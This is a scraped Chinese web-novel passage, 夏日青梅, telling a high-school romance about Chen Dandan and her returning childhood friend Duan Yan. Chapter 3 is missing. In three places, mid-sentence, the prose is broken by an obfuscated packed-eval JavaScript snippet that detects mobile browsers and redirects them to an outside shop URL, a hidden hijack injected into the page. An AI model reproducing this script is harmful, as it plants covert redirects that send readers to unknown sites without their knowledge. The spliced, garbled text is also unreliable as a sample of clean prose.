《夏日青梅》 1. 一颗青梅 《夏日青梅》 著/唐玲生 暗恋,开始于这个夏天。 2015年6月,盛夏。 天亮的很早,才六点半,太阳就已经发挥出了它的巨大威力,热气正在城市的上空弥漫。 陈丹丹背着沉甸甸的黑色书包,垂头看一眼手表上的时间,大步朝着公交站跑去。 然而2路车一如既往的无情,秉持着下雨天必等半小时以上、晴天必等八分钟以上的原则,让陈丹丹等了十分钟才上车。 不出意料,跟在人群里挤上公交车后,车上已经满满当当,几乎无处下脚,空气里更是透出一股难以形容的味道。 六点五十六分,陈丹丹卡着点从楼梯口往上跑,她两步并做一步地拼命爬楼梯,闷头往上冲。 “哎哟——” 楼梯拐角处,陈丹丹不小心撞到一个正在朝楼下走的同学,额头被撞得有点疼,下意识叫出声。 “啪嗒——” 对方手里的一摞书被她撞得全部散落在地。 陈丹丹弯腰捡起书,匆忙道歉:“对不起对不起——” 丝毫没有注意到对方落在她脸上打量的眼神。 时间快来不及了,她慌里慌张地把几本书往对方手里一塞,就绕过这位男同学继续往楼上冲。迟到的后果,她一点都不想体验。 边爬楼梯边看手表的那一瞬间,她的脑海中恍惚中闪过了刚才那位男同学的脸。 虽然只是惊鸿一瞥,但她注意到,那个男生好像很好看,是比原来被同学们封为“级草”的男生还要帅的程度。 有点奇怪的是,以前怎么没有在学校里见过他? …… 陈丹丹气喘吁吁地从楼梯口往走廊的方向奔去。 好险,赶在六点五十八分到达班级门口。当她看见站在教室门口的班主任时,面色一白。 此时此刻,班主任航哥就堵在教室后门口,他推了推鼻梁上方的黑边框眼镜儿,对着从门口陆陆续续进入教室的同学们露出了堪称“核善”的微笑。 陈丹丹深吸一口气,双手紧紧地攥住肩膀上的书包带子,静静地等待来自航哥的“审判”。 “陈丹丹,快点进教室,还有两分钟就早读了。”航哥的声音依旧严肃,陈丹丹却蓦地松了一口气。 “好的老师。”陈丹丹乖巧地点点头,背着书包走进教室。 七点整,高二(16)班的早读正式开始。 语文课代表捧着书走上讲台,带着大家一起背诵本学期的必背篇目,“《离骚》,屈原。长太息以掩涕兮,哀民生之多艰,一二——” 在整齐洪亮的朗朗读书声中,站在教室外的航哥时不时从窗户跟前探头,看谁没有在认真读书,还抓住了两个迟到的学生,并勒令他们下了早读去一趟办公室。 趁着航哥抓人,没空“监视”教室的空隙中,同桌祝思倩小声和陈丹丹分享八卦:“听说我们班要新转来一个学生。” “从其他班转过来?”陈丹丹放下语文课本,有点不可思议。 华兴中学有个惯例,每年都会考试分一次班,总一些学生会从普通班考进火箭班,也总有一些学生会从火箭班掉到普通班去,但高二下学期都开学一段时间了,怎么还有突然转班过来的? 实在是不同寻常。 “不是啦,是从其他学校转过来。”祝思倩一手挡住嘴,一副给你透露秘密的样子,“早读的时候我去航哥办公室抱作业,听见他和其他老师这样说的。虽然我没有看到那位转学生,但听说他长得超级帅。” 陈丹丹半信半疑:“真的假的?” 现在谁都可以用“超级帅”来形容了吗?陈丹丹觉得在她现实生活里见过的人当中,能被用“超级帅”三个字来形容的,除了他们学校的校草之外,应该也就只有今早被她撞到的那个男同学了。 等等,新来的转学生该不会就是被她撞到的那个男生吧? 应该……不会这么巧吧? 应该不会。 毕竟这是现实世界,不是偶像剧里,哪来那么多巧合?况且,就算转学生真的是早上那个男生,和她又有什么关系? 想通这一点,陈丹丹重新把注意力集中在课本上,跟着其他同学一起朗读。 下了早读,航哥满面笑容地走上讲台,“同学们,我们班即将迎来一名新同学,大家欢迎一下!” 霎时,教室里掌声雷动。 高二年级的学生们,谁人不知航哥最是“铁面无情”,坚决不让给任何差生走后门的机会。能让铁面航哥露出这般笑容(嘴角都快要咧到耳后跟去了)的学生,要么是相当厉害的学霸,要么就是学神。 同学们全都停下了手中的事情,聊天的正襟危坐,收拾桌面的停下了动作,就连刷题的也都停下了笔。 他们全都好奇地打量着新来的转学生,想看看他到底是何方神圣,能得到他们航哥的青睐。 唯有陈丹丹对新来的转学生并没有多大的兴趣,她正沉浸在《物理五三》当中。 这类题怎么又错了? 好烦。 她皱着眉头用红笔在题号前画上一颗五角星,对着答案修改做错的步骤,心里痛骂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281594|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了该死的物理题八百遍,再骂恶毒刁钻的出题人两百遍。 “丹丹丹丹!快看讲台上!”同桌祝思倩用胳膊肘轻轻碰了碰她。 “稍等,我在做《五三》。”陈丹丹轻声回道。 “她们没有骗我,新来的转学生真的超级帅耶!你确定不抬头看一看嘛?”祝思倩就不信她提起帅哥,陈丹丹还能无动于衷不成? 果不其然。 陈丹丹停下笔,抬头往讲台上看去。 站在讲台上的男生身体笔直又修长,比班主任还要高上一大截。似乎是还没睡醒,他懒洋洋地自我介绍,嗓音冷冷淡淡,却盖不住眉目锋利,一看就是个不好惹的酷哥。 少年勾了勾唇,“大家好,我是段言,希望在接下来的日子里能和各位同学一起进步,谢谢。” 说完,他鞠了一躬,随即走下讲台,等待班主任给他安排座位。 很简短的自我介绍。 没有兴趣爱好,没有特长,没有原来所在的学校,有效信息只有一个名字,就算是这样也很帅了,足够让班上的女生沸腾。 陈丹丹已经听见周围的女同学发出了议论、偷笑的声音,她甚至耳尖地听见一句“哇偶,我们班出了个校草!” 同桌祝思倩在她耳边喃喃自语:“简直比我心目中的小说男主还要帅!小说里是怎么形容的来着,刀刻斧凿一般的面容,大自然的鬼斧神工,眼睛里三分笑意,七分凉薄……” 陈丹丹:“噗!” 她从桌兜里找出只有上课看白板时才会戴上的眼镜,戴好眼镜后细细看了看,发现扇形图少年生了一副好相貌,浓眉大眼,唇红齿白,是标准的帅哥长相。而且这种帅还带着几分精致,是连画画都很难描绘出的那种。 不过这面容依稀有些熟悉。 ——正是她方才上楼梯时不小心撞到的那位同学。 许是新转来还没领到校服的缘故,少年穿着白色的T恤和长裤,看起来干净利落。那双眼睛生得尤其好看,和他对视时,会不自觉地有种心跳加速的错觉。 和他简单大方的学生装扮相比,他的气质形成了强烈的反差。 唔,怎么形容呢? 大概就是陈丹丹看过的漫画里的酷哥走入现实。 埋头写卷子的女孩子笔尖一顿,马尾辫好像也在空气中僵住。 等等,他说他叫什么? 段言? 如果不是同名同姓,那么这个转学生—— 是她消失了好多年的竹马。 那冷冷淡淡的态度,也有点像是从前,他们刚认识的时候。 2. 两颗青梅 相识太早,陈丹丹已经不确定她和段言是哪一年认识的了,只隐约记得是在他们上幼儿园的时候。 但第一次见段言的场景,时隔这么多年,她却依旧记得清清楚楚。 “我们楼下新搬来了一家人,丹丹等会儿和妈妈一起下去打个招呼哦!”年轻的女人一手拉着刚刚在附近玩沙子的陈丹丹,一手端着个保鲜盒,里面是她今天包好的小馄饨。 陈丹丹见到了妈妈口中的邻居一家人,那个阿姨长得好好看,那个叔叔也好帅,像是大明星哎! 不过最最好看的,还是站在他们身旁的小男孩。 陈丹丹小时候是有点子社交牛逼症在身上的,面对超级好看的同龄人,她毫不见外地走上前,用她在电视上学到的正式礼仪交朋友—— 她友好地伸手,露出大大的笑容,向新朋友释放善意,“你好呀,我是陈丹丹,住在你家楼上。” “段言。”小男孩酷酷地用两个字进行自我介绍,低头看了眼对方还粘着沙子的手,也没有握住。 “东东。”直到他妈妈提醒了一声,他才下了决心似的,闭了闭眼,和她短暂地握了握手。 陈丹丹也不在乎他的冷淡,每次下楼和小伙伴玩儿都会叫上他,因为他唇红齿白,长得很好看,还因为—— “我的小名是丹丹,d-an丹,你的小名是东东,d-ong东,都有声母d哎!我们可真有缘分!”她拍着手笑道。 刚开始的时候,她敲门叫他:“东东,下楼堆城堡去不去?” 他差点没绷住脸:“谁准许你叫我东东的?”这是他的小名,只有长辈可以叫! 而且堆城堡,说白了就是玩沙子,他们都已经是准小学生了,还和幼儿园小班的小朋友一样玩儿沙子? 可真够幼稚的。 陈丹丹理所当然地说:“我听见段阿姨这样叫你的呀。” 又笑着补充:“你也可以叫我丹丹。”自得的笑容仿佛在说:看,我很公平的吧? 段言:“……”这么自来熟的女生他还是第一次见到。 第二次她又去叫段言下楼玩儿,“东东,走!我们打沙包去!” 段言再次强调:“请你叫我的大名。” 陈丹丹:“嗯嗯,东东,我们快点下楼吧!他们都在楼下等着呢!” 段言:“……” 第三次、第四次……段言后来再也没有拒绝过她。 那时周围所有朋友都知道,如果想把段言叫出来玩儿,让陈丹丹出马准能行。就连陈丹丹自己都觉得,她对段言来说,和其他人是不同的。 直到他搬家离开,给了她一个打不通的电话号码,并且从那之后再也没有联系过她,她才恍然发现,原来对段言来说,她和其他人并没什么不同。 当时她还可生气了,不过现在,那些都过去了,陈丹丹早已在时光的流逝中无师自通地学会了释怀。 虽然段言没有像她那样,把对方当做最重要的朋友,但他们终归还是相伴了那么多年的好朋友,不是吗? …… “段、言,”祝思倩小声念了一遍,瞬间拉回陈丹丹的注意力,“这名字还蛮特别的。” 陈丹丹双手捧脸,感叹这个世界的渺小:“是啊,是挺特别的。” “我只在小说和电视剧里见过姓段的耶……”祝思倩有点兴奋,她上一次见过的姓段的人名还是《天龙八部》里面的段誉。 而陈丹丹早已无暇去倾听同桌的话了,此时此刻,《物理五三》上面的错题已经被她扔进了脑袋的旮旯角里,她满脑子都是“段言”这个听起来很耳熟的名字。 这不科学! 陈丹丹瞅了瞅新来的转学生,情不自禁地发出第三十六次感叹。 从小到大,陈丹丹只听过“女大十八变”这个说法,没想到今天倒是亲眼见证了一下什么叫做“男大十八变”。 小时候的段言看起来多乖啊!留着可可爱爱的蘑菇头,刘海整整齐齐地搭在额头上,奶萌奶萌的。 现在呢? 一头干净利落的短发,虽说比小时候帅多了,但是看起来清清冷冷的,很不好接近的样子。 该不会是她认错人了吧?可能、大概、也许只是同名同姓? 嗯,也不是没可能的。 站在讲台下方的男生视线扫过整间教室,目光在划过某张熟悉的脸时顿住,久违的记忆再次在脑海中翻腾。 这时,台下有男生问:“新同学,你之前是哪个学校的?” 其他同学跟着附和,对啊对啊,他们想知道这位转校生之前在哪里上学,究竟是何方神圣,居然能在高二下学期中途插班进他们班。 “我来自……”大家等着他说完,熟料他却转了个弯儿道,“我来自地球表面。” 这话转的,仿佛是在故意逗大家玩儿。 “切~”问话的男生无语,不说就不说嘛,还说个一半,把人吊的不上不下的。 段言没理会,是班主任不让他告诉大家的,说是要让这帮无法无天的学生们知晓人外有人天外有天的道理,早点增加一下紧迫感,免得成天嘻嘻哈哈的傻乐。 “别激动啊同学们,鼓个掌欢迎一下新同学。”航哥用手里厚厚的教辅资料拍了拍桌子,勉强维持了一下秩序。 热烈的掌声随即响起,陈丹丹随大流,假模假样地海豹式用力鼓掌,其实根本没用多大力度。 她观察了一下,坐在她附近的女生都异常用力地鼓掌欢迎新同学,那力度,再用力一点,她都担心她们把手拍烂。 陈丹丹在心里腹诽,这个学期欢迎新的化学老师时可没这么热烈的掌声。 第一个课间很短,航哥赶紧给段言安排了座位,让他坐在全班唯一一个空出来的位置上。 ——座位的主人前段时间因为家庭原因,刚办理了转学。 段言目不斜视地从讲台边往座位走,路过陈丹丹的时候脚步没有丝毫停顿。人往座位上一坐,自顾自地开始整理东西,表现得极其自然。 “你好,我叫俞秉文,是班上的物理课代表。”他的新同桌主动和他搭话。 “是‘济济多士,秉文之德’的秉文吗?”段言边收拾东西边问。 “是啊是啊!”俞秉文很高兴居然会有同学知道这首诗,好感顿生,主动给他介绍,“我们班班长叫姚一哲,就是坐在左边第一组第一排靠窗的那个男生,他人挺好的。我们班副班长是……” 说完意犹未尽地问段言:“对了兄弟,你篮球打得怎么样?” 段言谦虚道:“一般一般。”嘴上谦虚着,那股子自信还是从眉眼中透露出来。 俞秉文懂了,接过他的话:“世界第三?” 陈丹丹听着这两人聊天,还以为段言不记得她了,所以没和她说一句话。正好,她也没什么想要急切和他相认的想法。 长得一副招惹桃花的样子,周围肯定有不少是是非非。 初中的时候就是,当时班上有一个长得还不错的男生,以一己之力搅动了班上女生的风云。有三个女生本来是好朋友,但都喜欢上了他,然后她们在初二下学期闹翻,甚至到了老死不相往来的程度。那个男生因此在年级里闻名,成了众所周知的“蓝颜祸水”。 段言比初中那个“蓝颜祸水”还要帅一大截,估计也是个危险人物。 他不搭理她也好,她的心愿就是平平安安顺顺利利地度过高中生活,早日考上离家远的大学,摆脱这里的一切。 …… 段言果然很受欢迎。 甚至远比陈丹丹想象中还要受欢迎。 高中正是情窦初开,对异性好奇的年纪,即使是火箭班上的女生也免不了俗。乍一出现这么个自带氛围感、鹤立鸡群的帅哥,免不了趁机多看几眼。 于是,陈丹丹注意到,班上的女同学总是会“不经意间”路过段言的座位,偷偷看他几眼。 高中时期,“某某班转来了一个大帅比”这种消息流传的速度堪比火箭飞升。不到第三节课,外班的一些女生都在下课时分出现在他们班的窗前、前门口、后门口,一个劲儿地看段言,仿佛看到就是赚到。 谁让他长得过分好看,大家都想瞅瞅传说中的帅哥到底有多帅。看完之后,女生们一致认为“校草”这个称号就在今天易主了——这是消息灵通的祝思倩告诉她的。 即使陈丹丹在课间做题的时候向来很专注,可也能听见好多陌生的女声“好帅啊”“真的好帅”“好像言情小说里面的男主角”。 课间,女厕所里。 陈丹丹排着队, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281595|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听见隔壁班几个女生眉飞色舞地议论:“你们去看了吗?段言真有那么帅?” “我刚才路过他们班的时候瞄了几眼,一点不夸张,超——帅的!” “有照片没?给我看看。” “学校不让带手机,我哪敢把手机拿出来啊。” 右边一个短发女生得意地掏出手机,“喏,我刚才冒着手机被发现的风险偷拍了一张。” “靠——绝了!太帅了吧!我上完厕所一定要绕路去他们班门口看看真人!” …… 这样的热闹持续了很久很久。 上午还只是临近几个班的女同学对段言好奇,到了下午,那简直更夸张,陈丹丹几乎怀疑全校的女生都在今天“路过”他们班了。 甚至班上有不少男生也开始围在段言身边。他们笑闹着,看着就很熟的样子,要不是陈丹丹很肯定自己不是个金鱼脑袋,估计都要怀疑段言是不是班级里刚刚转来的同学了。 好在她有个消息灵通的同桌,下午第一节是自习,祝思倩推过来她的草稿本,陈丹丹心领神会地朝本子上看去。 「听说段大帅哥中午和我们班的男生打篮球,打球技术超棒,所以就玩在一起了。」 陈丹丹在这行字下面写:「哦?」 祝思倩:「终于可以看帅哥打篮球了!开心死了要!」 她和陈丹丹抱怨过不少次,没能在校园里看见小说里的经典场面——大帅比校草游刃有余地打篮球,一个标准的三分球投进篮筐,再来个帅到爆炸的灌篮,周围的女孩子齐齐欢呼。 祝思倩还因此感叹自己是不是上了假中学,过了个假青春。 没办法,学校里长得还不错的男生都不怎么打篮球,技术也一般般。相较而言,他们更喜欢踢足球,讨论起球类运动时满口都是“梅西C罗”等等,上体育课时更是在足球场上活力十足地疯跑。篮球几乎无人问津,少数几个打篮球打得还不错的男生长得也着实称不上帅,顶多赞一句模样周正。 很正常么,华兴中学的女同学们想,打篮球和长得帅,老天总会给人关掉一扇窗。 直到身边出了个例外。 段言长得好,篮球也打得好,后者让男生惊喜,前者让女生欣喜,两者结合让女生欢呼雀跃。 陈丹丹也想体验一把传说中的言情小说情节,不为别的,就觉得很有意思,不过也没祝思倩那么执着。不出意外,今天的作业依旧会很多,还是得抓好这节自习课的时间。 她在纸上回:「开心死之前,记得先把生物老师布置的活页作业写了^_^」 又把草稿本推给祝思倩。 这个时候“卷王”这个词还没流行起来,祝思倩不知道该怎么形容,只在心里面默默地讨伐同桌:嘿,你是魔鬼吗? 陈丹丹做完生物活页作业的选择题,忽然想到身后有个非常受欢迎的老熟人,叹了口气,有这么个耀眼的后桌在,压力很大啊。只希望可以和他相安无事到毕业。 好在他一上午都没找她说过话,大概是不记得她了,又或者觉得没有和她说话的必要。 就在她放下心后,这人不知道抽什么疯,在放学前的最后一个课间突然找她说话。 陈丹丹刷题的时候,感觉到有人轻轻用笔戳了戳她的背,力度不大,不过夏天穿的少,一下子就感觉到了。 “干嘛?”她转过身,有点不悦,刚才那道题她正在写最关键的几个步骤,马上就能得出答案了。这会儿被打断,自然不爽。 “哎——我说陈丹丹,你真不认得我了?”段言手上转着支中性笔,要笑不笑地问她,仿佛她不认得他是一种天大的罪过。 陈丹丹抬起头,对上少年那双好看得过分的眼睛,心跳瞬间慢了一拍。她愣了一下,随即在心里酝酿了几秒久别重逢的情绪。 “嗯……”她沉吟几秒,仿佛在确认是不是认识他,确认完了摇摇头,认真地问:“请问同学,你叫什么名字?” 段言还以为她说真的:“……段言。” 他简直要被气笑,“你要不要这么无情啊,好歹是一起翻过墙的关系。” 祝思倩在一旁瞪大眼:“你们以前认识?” “不认识。” “认识。” 两人同时回答。 4. 四颗青梅 陈丹丹意外地收到了来自竹马的Q.Q好友申请,沉默半晌,点击同意。 作为年少时的好朋友,他们当然加过Q.Q好友,甚至还加了对方的摩尔庄园账号,抢过对方的Q.Q停车位,偷过对方Q.Q菜园子里的菜,在好友印象里给对方留了评语,在对方的Q.Q空间留言板里留过一些祝福的话语。 即使段言由于家里的原因突然转学,陈丹丹仍然会在Q.Q上主动找段言聊天。 直到某天下午,陈丹丹考完最后一门考试,正要兴奋地同对方分享她的假期安排,她收到了来自“东东”这个账号的诈骗信息:[在?最近手头有点紧,能不能借我两万块钱?] 段言从不会给她发“在?”,都是有事说事,也从来不会向她借钱,更遑论两万块这么多。 他的Q.Q号被盗了,她几乎立刻反应过来。 但这并没有什么用,她没办法帮助远在另一个城市的他找回账号,就像她没办法获得他的信息。 当她试图拨打段言留下的号码时,却发现那原来是个空号,两人的联络就此中断。 现在,Q.Q里消失的好友再次出现,这太过突然。 就像是他再次出现在她的生活里,毫无预兆。 良久,陈丹丹方才平复情绪。她静了静心,将这几天老师讲过的内容再次复习了一遍,然后去洗手间洗漱。 路过妹妹的房间时,她听到母亲近乎温柔的轻哄:“舒舒乖,把这杯牛奶喝了再睡觉。” 妹妹完全不领情,冲母亲撒娇:“不嘛妈妈,我不喜欢喝原味的牛奶,难喝死了,下次还是给我买草莓味的!” 母亲无条件答应妹妹的要求:“好,妈妈明天就去给你买草莓味的牛奶。”语气里尽是对孩子的宠溺和纵容,就像全天下所有温柔的母亲一样。 然而,她不再是陈丹丹一个人的母亲。 很久以前,她只会轻声哄陈丹丹一个人:“丹丹乖,冬吃萝卜夏吃姜,你适当地吃点胡萝卜对身体好。” 可是现在,她在妹妹的卧室里温柔哄她喝牛奶,却忘记了关心另一个女儿,一个她失败婚姻里的生命延续。 从母亲再婚之后,不,准确来说,是从父母离婚之后,陈丹丹敏感地察觉到父母对她的关爱在逐渐消失。尤其是两人再婚之后,她的存在仿佛变得极为尴尬,在两边都寄人篱下,小心翼翼地生活,生怕自己被冠以“拖油瓶”的称呼,被评价为“讨人嫌”。 每一次看到他们相处,陈丹丹都发自内心地觉得,好像他们才是真正的一家人,而她自己是个彻彻底底的外人。 一个没有家人的外人。 好在她已经读高二了,只待高三结束,她就能离开这个对她而言不像家的临时住所,独自过她想要的、自在的生活。 陈丹丹尽力安慰自己,掩去心中的酸涩,洗漱后又学习了一个小时方才上床睡觉。 …… 早上第一节课是英语。 烫着小卷发、打扮年轻的英语老师Ceres走上讲台,用英语说道:“课前我们先来抽查一下上次要求背诵的课文,大家把课本合上,放进桌兜里。” 时间比较紧,这回英语老师没有采用丧心病狂的onebyone模式,而是根据学号随机抽查。 “Numberone.” 学号为1号的班长站起身,流利地背诵起来,“EversinceNeilArmstrongfirstsetfootontheMoonbackon21stJuly,1969,peoplehavebe……” 班长背了一小段,Ceres点点头,继续抽查学生:“Numbereleven.” 坐在陈丹丹前面的小组长朱子奕站起来接着背。 然而不知道是太紧张,还是没有背熟练,他背得磕磕巴巴的,Ceres面色一肃,用英文说道:“下午来我办公室再背一遍。” 闻言,朱子奕脸红了红,懊恼地垂下脑袋。 他自知偏科,数学和理综学得好,语文一般般,英语很差,所以从高二开始,他尤其注重英语的学习。 为了做好这次的背诵作业,他分明在课前背了十几遍,自己单独背诵的时候还挺流畅的。可不知道为什么,这会儿就是背得不好。 陈丹丹则满脸轻松,英语是她的强项,她按照老师的要求合上课本,心里默默地跟着被抽查到的同学们同步背诵。 还好她昨天背完了整篇课文,今早又复习了很多遍。Ceres的记性真好,周一早上布置的背诵任务,说要今天检查,果然检查了。 不过,她好像忘记提醒段言了? 如果待会儿抽查到他,他该怎么办?背不出来的话,毫无疑问,结果只有一个——被英语老师罚抄课文。 “抄课文”,这个词让陈丹丹想起很久很久以前,她还在上小学时候的事情。 …… “丹丹,你怎么又这么粗心大意?”妈妈指着她方格本上写错字的古诗词,责令她罚抄二十遍。 别说二十遍,一遍她都不想写。但是妈妈发话了,她也只好蔫巴巴地答应,回过头就开始抓耳挠腮,然后想出了一个绝妙的主意——用复印纸! 陈丹丹的小小计谋很快被拥有丰富工作经验的妈妈一眼看破,她苦恼地求助段言,指望他能出谋划策,没想到他手一伸:“本子给我。” 陈丹丹:“干嘛?” 他理所当然地回答:“我帮你抄。” 陈丹丹狐疑地盯着他:“我们的字迹不一样,很容易被拆穿的。” 小男孩一副“这还用你说”的表情,“我知道。” 陈丹丹就把方格本和钢笔都递给他。没想到他很快就把本子还给了她,她翻开方格本,最新一页是她抄的二十遍古诗词。 不,不是她抄的,但是字迹毫无二致,即使是她本人,也难以分辨出这是否是她写出来的字。 陈丹丹又是佩服,又是感动,先是跑过去大大地夸赞了段言一番,随后又泪眼汪汪地感谢他:“谢谢你啊东东,你可真讲义。” 她自己都懒得抄二十遍古诗词,结果东东还不辞辛苦地代替她罚抄。 什么是江湖义气? 这就是江湖义气啊呜呜呜。 段言被她夸得脸都红了,努力正色道:“是你说的,好朋友要讲义气。” …… 回过神,陈丹丹决定还是要对曾经的小伙伴讲义气,就当作是报答那二十遍罚抄了。 她咬咬牙,冒着被Ceres发现的风险,小心翼翼地裁了半张草稿纸,打算将课文剩余的部分默写下来,如果段言被点到,她就把纸条传给他看。 为了减少被发现的风险,纸张不大,字就得写小。索性陈丹丹背得熟练,写英文又写得很快,没过一会儿,大半张草稿纸上都写满了英文。 “噔噔噔——” Ceres高跟鞋的声音传来,好巧不巧地,她就在陈丹丹的旁边站定。 陈丹丹吓了一大跳,以迅雷不及掩耳之势将纸条塞进桌兜里。 与此同时,她有点可怜段言——运气真不好,她都默写了一半了,结果老师来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281597|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 希望他不会被抽到吧。 …… 时间倒回到五分钟前。 段言乍一听到英语老师的要求,有点茫然。但是他很快反应过来,给俞秉文使了个眼色,俞秉文立马上道地说了页码。 趁着英语老师抽查其他同学的功夫,段言偷偷地把英语课本拿到桌下,假装捡东西,一目三行地看了起来。 看完,他坐直身体,重新将英语课本合上。 此时已经抽查了六位同学,Ceres让他们一个接一个地背诵,随机叫停。 忽然,她叫道:“numberfifty-one.” 是段言。 他作为转学生,自然是插不进去由排名决定的学号,只能代替班上转走的同学,顺延着成为班级里的最后一号。 惨了。 陈丹丹双手捂住脸,为她亲爱的小伙伴哀悼两秒,还望Ceres看在段言刚刚转学过来的份上,罚他时不会罚得太惨……虽然Ceres并不喜欢听任何学生找任何理由和借口,她的口头禅就是“你高考没考好,难道还能给北大清华讲理由吗?” 段言听到老师点了他的学号,不疾不徐地站起来,不带丝毫犹豫,一脸自信的样子,扭过头看他的陈丹丹都有些呆住了。 他、他就这么无所畏惧的吗? 在座位上站定后,段言开始接着上一位同学背的内容继续背课文了,“Ithappenedsoquicklyandeveryonewasinastateofshock.Likeeveryschoolboy……intospace.” 他不但背得很流利,更难得的是音量和语速适中,英式发音非常标准。 Ceres严肃的面孔顿时变得柔和下来,她时不时赞许地点点头,并对这位以前从未见过的转学生有了好感。 陈丹丹乍一听见段言流利且标准的英文背诵,愣了愣,随即转回小脑袋,悄悄往身后竖了个大拇指。 厉害了! 多年不见,我都忘了你拥有几乎可以过目不忘的技能了。 段言的余光看见桌前白皙的手指比了个大拇指,口中仍旧没有停顿地背着英语课文,只是眼里渐渐染上笑意。 “Excellent!”Ceres一直没喊停,让段言背完了接下来的所有内容,然后走回讲台,将手中的课本放下,“看来大部分同学都准备得很充分,那么今天的抽查就到此为止了。” 有个别同学夸张地轻抚胸口,一副劫后余生的样子。 这节英语课就这么惊险又顺利地度过了,即使老师讲完知识点后,在PPT上放了无数道练习题,如魔鬼一般onebyone把全班同学轮了两遍,都没有抽背时那样惊险刺激。 下课后,Ceres腋下夹着两本英语教案走出教室,陈丹丹默默翻开物理五三,抓紧课间时间写几道小题。 蓦地,一个荔枝味的棒棒糖被轻放在她的桌面上。 她抬起头,只看见男生清瘦挺拔的背影,他的白色短袖被清风吹起,衣摆微微晃动。 棒棒糖的下方是一张便利贴。 「送给依旧很讲义气的小伙伴,你爱吃的荔枝味棒棒糖。」 原来她在英语课上的那些小动作全都被他看见了……说不定也被Ceres看见了,否则她不会那么恰好地在她桌边站定。 更令陈丹丹感到惊奇的是,段言居然还记得她最喜欢的棒棒糖口味是荔枝味哎! 她拆开棒棒糖的包装,一口将棒棒糖含进嘴里。 好甜。 5. 五颗青梅 今天的课间毫不例外,照样有很多班的女生“路过”16班,一睹转校生的风采。 祝思倩回头看了眼,风采过人的转校生正戴着白色有线耳机看闲书,于是放心和陈丹丹咬耳朵:“校草帅是帅,可惜太高冷了,只可远观而不可亵玩焉~连个Q.Q好友申请都吝啬于通过。” 主动加她Q.Q号的段言没有通过其他人的好友申请? 陈丹丹心里吃惊,表面上却不动声色,“哦?” “根据我的可靠消息,段帅哥只同意了男生的好友申请,一概无视了女生的好友申请。听说有别的班的女生试图曲线救国,通过我们班男生来加段言的Q.Q,也统统都失败了。”祝思倩摇摇头,“我们班的女生都还没加上,哪里轮得到其他班女生?” 陈丹丹:“……” 祝思倩感叹:“狠,太狠了。真不知道段言是怎么狠下心来拒绝这么多妹子的。” 陈丹丹点头赞同。 是挺狠的。 换做她,可舍不得拒绝这么多漂亮女同学的好友申请。 祝思倩继续和她八卦:“你知道吗?文科班有个妹子也来加段言,那个妹子听说长得可清纯了,还是他们班公认的班花!你应该听过她的名字,林纯茜。就这,段言都给拒绝了,让人家妹子好一顿受挫。” 哇塞! 陈丹丹惊讶的不得了,她听说过那个女生,之前在学校谈过两段恋爱,一段是和学霸谈的,一段是和级草谈的,还都是男生追的她。没想到她居然主动来加段言,段言这个铁石心肠的还给拒绝了…… 不愧是段言。 从小就拒绝了无数妹子,要不是他和其他男生的相处都很正常,陈丹丹差点都要怀疑他的性取向了。 她回头望了望正在低头翻书的段言,一边感慨他的铁石心肠,一边又忍不住为他对她的特别而暗暗欢喜。 大概是女孩子的虚荣心吧—— 陈丹丹想,从天而降的竹马转校而来,第一天就被女孩子们封为校草,拒绝了所有女生的好友申请,却主动加她为好友,很难不让人雀跃。 但也仅此而已了,陈丹丹心里清楚,段言之所以加她的Q.Q,也不过是因为他们曾经是很要好的朋友。 而且……所有的遐思都会在多到爆炸的作业面前让步。 火箭班有三多:教学经验丰富的老师多,学霸多,还有就是作业多。 今天的作业格外多,每一门代课老师都布置了至少一个活页作业,外加习题册等等,单看一门课的作业自然不算很多,但是加在一起,堪称任务量巨大。晚自习本来是同学们奋笔疾书写作业的时间,不过物理老师占用了一部分时间,美名其曰给他们讲一讲课堂上做过的卷子。 好不容易等白衬衣把卷子讲完,陈丹丹抄了几分钟的白板。 ——白板的四个边框角全被各个课代表列出来的作业占据,每门课都有n项任务等着他们。 于是放学的时候,陈丹丹不得不将每门课的课本、活页作业、学校发的习题册、自己买的五三等等带回家。光是收拾书包就用了好一会儿。 收拾东西的时候,她意外地看见段言背着个一看就轻飘飘的书包从她身前经过。 班上的同学们不论男女,真的是人均炸药包一样的大背包,唯一的例外很快就被同学们注意到。 “嘿,段言,你书包怎么这么瘪?”有男生问,还上前提了提段言的书包,“这也太轻了吧!” 耳边传来他带笑的声音:“我不喜欢把作业带回家。” “所以你要明早来了补?”周立阳有点意外,但也没有特别惊讶。 别看他们是火箭班,也不是人人都是别人眼中方方面面都完美的“好学生”的,还是有些同学晚上不想做作业,第二天早上来了才补的。至于这个“补作业”是自己写还是抄别人的,得看时间来不来得及。 